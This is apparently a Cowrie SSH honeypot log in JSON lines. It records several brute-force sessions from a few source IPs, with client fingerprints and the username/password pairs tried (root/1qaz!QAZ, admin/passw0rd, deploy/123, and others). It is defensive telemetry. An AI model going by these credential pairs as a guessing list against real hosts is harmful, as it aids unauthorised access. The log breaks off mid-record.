{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:35.808836Z","src_ip":"91.92.40.11","session":"811e08923a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:35.811190Z","src_ip":"91.92.40.11","session":"811e08923a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42272,"dst_ip":"10.17.0.5","dst_port":22,"session":"103886579109","protocol":"ssh","message":"New connection: 45.156.87.253:42272 (10.17.0.5:22) [session: 103886579109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:35.966845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:36.031456Z","src_ip":"45.156.87.253","session":"103886579109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:36.166181Z","src_ip":"45.156.87.253","session":"103886579109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:36.408384Z","src_ip":"45.156.87.253","session":"103886579109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:36.675643Z","src_ip":"91.92.40.11","session":"811e08923a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:37.491582Z","src_ip":"45.156.87.253","session":"103886579109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:37.826106Z","src_ip":"91.92.40.11","session":"811e08923a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45266,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0dbe47bf930","protocol":"ssh","message":"New connection: 45.156.87.253:45266 (10.17.0.5:22) [session: b0dbe47bf930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:39.447578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:39.450929Z","src_ip":"45.156.87.253","session":"b0dbe47bf930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:39.531755Z","src_ip":"45.156.87.253","session":"b0dbe47bf930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:39.775893Z","src_ip":"45.156.87.253","session":"b0dbe47bf930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:40.992509Z","src_ip":"45.156.87.253","session":"b0dbe47bf930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45272,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61de32d1b0a","protocol":"ssh","message":"New connection: 45.156.87.253:45272 (10.17.0.5:22) [session: c61de32d1b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:42.751869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:42.755715Z","src_ip":"45.156.87.253","session":"c61de32d1b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:42.836730Z","src_ip":"45.156.87.253","session":"c61de32d1b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:43.087276Z","src_ip":"45.156.87.253","session":"c61de32d1b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":45354,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c646372491","protocol":"ssh","message":"New connection: 38.93.206.2:45354 (159.203.135.109:22) [session: 67c646372491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:43.272250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:43.275900Z","src_ip":"38.93.206.2","session":"67c646372491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:43.325241Z","src_ip":"38.93.206.2","session":"67c646372491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamazist.tsobenko","message":"login attempt [root/kamazist.tsobenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:43.474952Z","src_ip":"38.93.206.2","session":"67c646372491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:44.170334Z","src_ip":"45.156.87.253","session":"c61de32d1b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:44.525198Z","src_ip":"38.93.206.2","session":"67c646372491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45274,"dst_ip":"10.17.0.5","dst_port":22,"session":"febc0cb4df1f","protocol":"ssh","message":"New connection: 45.156.87.253:45274 (10.17.0.5:22) [session: febc0cb4df1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:46.212455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:46.215587Z","src_ip":"45.156.87.253","session":"febc0cb4df1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:46.296094Z","src_ip":"45.156.87.253","session":"febc0cb4df1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:46.537472Z","src_ip":"45.156.87.253","session":"febc0cb4df1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:47.669885Z","src_ip":"45.156.87.253","session":"febc0cb4df1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56006,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40ee52b288e","protocol":"ssh","message":"New connection: 45.156.87.253:56006 (10.17.0.5:22) [session: e40ee52b288e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:49.475692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:49.478774Z","src_ip":"45.156.87.253","session":"e40ee52b288e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:49.560785Z","src_ip":"45.156.87.253","session":"e40ee52b288e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:50.008864Z","src_ip":"45.156.87.253","session":"e40ee52b288e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:51.092260Z","src_ip":"45.156.87.253","session":"e40ee52b288e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56018,"dst_ip":"10.17.0.5","dst_port":22,"session":"616bcff56dbf","protocol":"ssh","message":"New connection: 45.156.87.253:56018 (10.17.0.5:22) [session: 616bcff56dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:52.958812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:52.963007Z","src_ip":"45.156.87.253","session":"616bcff56dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:53.044206Z","src_ip":"45.156.87.253","session":"616bcff56dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:53.289821Z","src_ip":"45.156.87.253","session":"616bcff56dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:54.373123Z","src_ip":"45.156.87.253","session":"616bcff56dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56020,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abb61867e86","protocol":"ssh","message":"New connection: 45.156.87.253:56020 (10.17.0.5:22) [session: 9abb61867e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:56.253367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:56.257818Z","src_ip":"45.156.87.253","session":"9abb61867e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr